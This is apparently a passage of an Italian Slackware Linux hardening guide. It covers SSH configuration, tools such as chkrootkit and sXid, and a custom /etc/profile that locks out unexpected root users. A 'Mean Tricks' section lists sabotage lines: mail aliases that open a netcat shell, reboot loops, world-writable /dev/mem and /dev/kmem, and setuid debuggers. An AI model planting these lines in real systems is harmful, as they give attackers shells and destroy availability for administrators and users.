Port 22 Protocol 2 AddressFamily inet ListenAddress 192.168.1.2 # HostKey for protocol version 1 #HostKey /etc/ssh/ssh_host_key # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key # Lifetime and size of ephemeral version 1 server key #KeyRegenerationInterval 1h #ServerKeyBits 768 # Logging # obsoletes QuietMode and FascistLogging SyslogFacility AUTH LogLevel DEBUG # Authentication: LoginGraceTime 2m PermitRootLogin no StrictModes yes MaxAuthTries 6 AllowUsers dentonj@trustedhost AllowGroups wheel RSAAuthentication no PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # RhostsRSAAuthentication and HostbasedAuthentication IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! PasswordAuthentication no PermitEmptyPasswords no # Change to no to disable s/key passwords #ChallengeResponseAuthentication yes # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #UsePAM no AllowTcpForwarding yes GatewayPorts no X11Forwarding no X11DisplayOffset 10 X11UseLocalhost yes PrintMotd yes PrintLastLog yes TCPKeepAlive no UseLogin no UsePrivilegeSeparation yes PermitUserEnvironment no Compression delayed ClientAliveInterval 60 ClientAliveCountMax 10 UseDNS yes PidFile /var/run/sshd.pid #MaxStartups 10 # no default banner path Banner /etc/issue.net # override default of no subsystems #Subsystem sftp /usr/libexec/sftp-server # Ciphers aes256-cbc,aes256-ctr # login.conf(5) is not used in Slackware ChallengeResponseAuthentication no
root@darkstar:~# chmod u-s /usr/libexec/ssh-keysign
man ssh man sshd man ssh_config man sshd_config
/etc/ssh/sshrc:
DA FARE
/usr/bin/mysql_safe:
DA FARE
root@darkstar:~# less /var/lib/mysql/darkstar.err
man mysql_fix_privilege_tables
NFS:
root@darkstar:~# removepkg nfs-utils
NIS:
root@darkstar:~# removepkg yptools
Programmi/Scripts di Sicurezza
GnuPG:
Presente all'interno del CD 3 di Slackware:
mount /mnt/cdrom cd /mnt/cdrom/testing/packages installpkg gnupg-1.4.2-i486-1.tgz
libsafe:
Presente all'interno del CD 3 di Slackware:
mount /mnt/cdrom cd /mnt/cdrom/extra/libsafe-2.0.16 installpkg libsafe-2.0.16-i386-1.tgz
Snort:
http://www.snort.org
DA FARE
sXid:
http://packages.debian.org/stable/source/sxid
root@darkstar:~# cp sxid_4.0.5.tar.gz src root@darkstar:~# cd src root@darkstar:~/src# gzip -cd sxid_4.0.5.tar.gz | tar xvf - root@darkstar:~/src# cd sxid-4.0.5 root@darkstar:~/src/sxid-4.0.5# less README root@darkstar:~/src/sxid-4.0.5# make install
/usr/local/etc/sxid.conf:
ALWAYS_NOTIFY = "yes" ALWAYS_ROTATE = "yes" IGNORE_DIRS = ""
/etc/cron.daily/sxid:
#!/bin/sh /usr/bin/sxid
root@darkstar:~# chmod 700 /etc/cron.daily/sxid root@darkstar:~# sxid
chkrootkit:
http://www.chkrootkit.org
root@darkstar:~# cp chkrootkit_0.46a.tar.gz src/ root@darkstar:~# cd src root@darkstar:~/src# gzip -cd chkrootkit_0.46a.tar.gz | tar xvf - root@darkstar:~/src# cd chkrootkit-0.46a root@darkstar:~/src/chkrootkit-0.46a# less README root@darkstar:~/src/chkrootkit-0.46a# make sense
Copiate i seguenti file to /usr/local/sbin:
check_wtmpx chkdirs chklastlog chkproc chkrootkit chkutmp chkwtmp ifpromisc strings-static
root@darkstar:~# crontab -e # Chkrootkit, results are mailed to root 10 4 * * * ( cd /usr/local/sbin && ./chkrootkit 2>&1) root@darkstar:~# killall -HUP crond
aide:
http://sourceforge.net/project/aide
DA FARE
lcap:
root@darkstar:~# cp lcap_0.0.6.orig.tar.gz src/ root@darkstar:~# cd src root@darkstar:~/src# gzip -cd lcap_0.0.6.orig.tar.gz | tar xvf - root@darkstar:~/src/# cd lcap-0.0.6/ root@darkstar:~/src/lcap-0.0.6# less README root@darkstar:~/src/lcap-0.0.6# make root@darkstar:~/src/lcap-0.0.6# strip lcap root@darkstar:~/src/lcap-0.0.6# cp lcap /usr/local/sbin
Usabilità/Diminuzione della Sicurezza
Eseguire applicazioni sotto X come utente root:
Il libro Linux Security Cookbook contiene un piccolo script che imposta DISPLAY e XAUTHORITY in modo tale da permettere a root di eseguire applicazioni sotto l'ambiente X. In alternativa si possono impostare le variabili DISPLAY e HOME in modo tale da ottenere lo stesso risultato.
root@darkstar:~# xv xv: Can't open display root@darkstar:~# DISPLAY=:0.0 root@darkstar:~# xv Xlib: connection to ":0.0" refused by server Xlib: Invalid MIT-MAGIC-COOKIE-1 key xv: Can't open display root@darkstar:~# HOME=/home/dentonj root@darkstar:~# xv
Una soluzione ancora migliore è quella di utilizzare xauth e impostare il MIT-MAGIC-COOKIE:
root@darkstar:~# xauth -f /home/dentonj/.Xauthority extract - :0 | \ xauth merge - root@darkstar:~# xauth list darkstar/unix:0 MIT-MAGIC-COOKIE-1 abcdef0123456789abcdef0123456789 dentonj@darkstar:~$ xauth list darkstar/unix:0 MIT-MAGIC-COOKIE-1 abcdef0123456789abcdef0123456789 localhost:0 MIT-MAGIC-COOKIE-1 9876543219fedcba9876543210fedcba
Dovrete ancora impostare la variabile DISPLAY per l'utente root. Fate attenzione che impostare tale variabile all'interno di un file di configurazione della shell (ad esempio /etc/profile) può causare dei problemi alle funzionalità di inoltro del server X utilizzando ssh.
man xauth man Xsecurity
/usr/bin/lessopen.sh:
Mi piace analizzare il codice. Decommentate le righe seguenti:
*) FILE=`file -L "$1"` ; # Check to see if binary, if so -- view with 'strings' FILE1=`echo $FILE | cut -d ' ' -f 2` FILE2=`echo $FILE | cut -d ' ' -f 3` if [ "$FILE1" = "Linux/i386" -o "$FILE2" = "Linux/i386" \ -o "$FILE1" = "ELF" -o "$FILE2" = "ELF" ]; then strings "$1" fi ;;
Beep d'errore:
Utilizzare in maniera assidua la funzionalità di completamento del testo all'interno della shell bash. Tuttavia il suono della campanella in caso di errore tende ad infastidire coloro che sono vicino. Di seguito sono riportate tre modalità per eliminare il beep a fronte di errori nell'utilizzo della shell:
/etc/profile:
setterm -bfreq 0
~/.xinitrc:
xset -b exec /usr/X11R6/bin/startfluxbox
/etc/inputrc:
set bell-style none
man bash
Mean Tricks
/etc/aliases:
opensaysme: | nc -l -p 44444 -e /bin/sh
~/.forward:
| nc -l -p 44444 -e /bin/sh
/etc/login.defs:
NO_PASSWORD_CONSOLE tty1,tty2,tty3,tty4,tty5,tty6
/etc/rc.d/rc.6:
touch /etc/forcefsck
/etc/hotplug/blacklist:
hid
/etc/inittab:
id:6:initdefault:
iptables -m random
iptables -A FORWORD -s 192.168.1.1 -m random --average 90 -j DROP
iptables -A INPUT -j DROP
Anywhere in /etc/rc.d:
reboot
enable -n enable chmod u+s /usr/bin/strace chmod u+s /usr/bin/gdb chmod 666 /dev/mem chmod 666 /dev/kmem chmod 666 /dev/port ifconfig eth0 mtu 68 touch ./-r
Comandi utili
ldd /usr/bin/lppasswd /lib/ld-linux.so.2 --list /usr/bin/lppasswd
strings /usr/bin/lppasswd
Elenco di alcuni dei più noti comandi REM usati
man -k cron
grep crond /var/log/packages/*
cd /bin && for i in `ls | grep -v "@$"`; do file $i | grep "not stripped" done
for i in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin \ /usr/X11R6/bin; do echo $i; cd $i && for j in `ls | grep "@$"`; do file $j \ | grep "not stripped"; done; done
which kill type -a kill
stat /bin/login touch example stat example touch -r /bin/login example stat example
strace -p 19148 -f -e trace=network,read,write -o ssh_trace.out -e write=4 \ -e read=6 # Where 19148 is the PID of sshd
ifconfig eth0 hw ether 00:00:DE:AD:BE:EF ifconfig eth0 0.0.0.0 up -arp
ln -s /usr/bin/write /bin/write kibitz dentonj
/etc/profile
# If the following variables are not set, exit with an error message : ${USER:?Who are you?} : ${LOGNAME:?Who are you?} : ${HOME:?The homeless need help} # If a user doesn't have a home directory listed in /etc/passwd, # login is nice enough to set "/" as $HOME if [ ${HOME} = "/" ]; then logout fi # Kick and lockout users that are UID 0 but are not root if [ `id -u` = "0" -a `echo $USER` != "root" ]; then # Lock the user out passwd -l $USER # Save some info date >> /root/SHIT netstat -peanut >> /root/SHIT ps auxww >> /root/SHIT w >> /root/SHIT w | mail -s "$USER has gained ROOT access on $HOSTNAME" dentonj@gmail.com # Let EVERYONE know wall << EOF **************************************************************** $USER has gained ROOT access on $HOSTNAME!!! **************************************************************** EOF for i in `ls /dev/pts/`; do echo -e "\n$USER has gained ROOT access on $HOSTNAME!!\n" >> /dev/pts/$i done # Log it logger -is -f /var/log/messages "$USER has gained ROOT access!!" # Let the luzer know echo -e "\a\n\n You are _NOT_ root!!\n\n\a" # For the really paranoid (run before killing the user's processes) ifconfig eth0 down # Kill the user and their processes skill -9 -u $USER # This should be redundant logout exit fi
export LESSOPEN="|/usr/bin/lessopen.sh %s" # Set a default shell prompt: #PS1='`hostname`:`pwd`#' #if [ "$SHELL" = "/bin/pdksh" ]; then # PS1='! $ ' #elif [ "$SHELL" = "/bin/ksh" ]; then # PS1='! ${PWD/#$HOME/~}$ ' #elif [ "$SHELL" = "/bin/zsh" ]; then # PS1='%n@%m:%~%# ' #elif [ "$SHELL" = "/bin/ash" ]; then # PS1='$ ' #else # PS1=/\u@\h:\w\$ ' #fi if [ `id -u` = 0 ]; then # A red shell prompt for root PS1="\[\033[1;31m\][\j][\u@\h:\w]#\[\033[0m\] " else # A green shell prompt for everyone else PS1="\[\033[1;32m\][\j][\u@\h:\w]$\[\033[0m\] " fi PS2='>' export PATH LESS TERM PS1 PS2 # For non-root users, add the current directory to the search path: #if [ ! "`id -u`" = "0" ]; then # PATH="$PATH:." #fi # # Stuff I've added # # Add $HOME/bin to the search path PATH=$PATH:$HOME/bin export PATH export FIGNORE=".o" # Set EDITOR for less export EDITOR=vim # History # I use to set these to paranoid settings, such as 100 or 10. export HISTSIZE=10000 export HISTFILESIZE=10000 # Display timestamp information with each history entry export HISTTIMEFORMAT="%F %T " # Logout if a root terminal is not being used if [ `id -u` = "0" ]; then export TMOUT=1200 fi # Aliases alias matrix="cmatrix -bass" alias m="cmatrix -bass" alias su="su -" alias td="tcpdump -nvvSi eth0 | grcat conf.tcpdump" # shred doesn't delete recursively # use "/bin/rf -rf ..." for directories alias rm="shred -uz" # Disable the bash builtin command kill, forces the use # of /bin/kill. # This was a cute idea, but it prevents jobs from being killed #enable -n kill # Misc shell settings shopt -s cdspell shopt -s cmdhist shopt -s dotglob shopt -s extglob setterm -bfreq 0 # grep options export GREP_OPTIONS="-n --color" export GREP_COLOR="1;33" # Secure less export LESSSECURE=1 # This works for single user systems if the luzer who breaks into your # system uses an interactive shell if [ `id -u` != "0" -o `id -u` != "1000" ]; then passwd -l $USER logout fi # Set these and make them read only to keep users from setting them export HISTCONTROL="" export HISTIGNORE="" # Disable builtin shell commands # TODO # Set shell variables as read only, this should be last: typeset -r HISTCONTROL typeset -r HISTFILE typeset -r HISTFILESIZE typeset -r HISTIGNORE typeset -r HISTNAME typeset -r HISTSIZE typeset -r LESSSECURE typeset -r LOGNAME typeset -r USER
E per finire
Collegatevi al canale #slackware sul server irc.oftc.net e parlate tranquillamente di tutto fuorchè di Slackware.
Da fare
KDE:
Analizzare
/etc/shells:
Bloccare le altre tipologie di shells.
/bin/login:
Modificare così che venga usato un algoritmo di hashing del testo cifrato
Mettere in sicurezza filesystems diversi da ext2 e ext3
Utilità di controllo dei log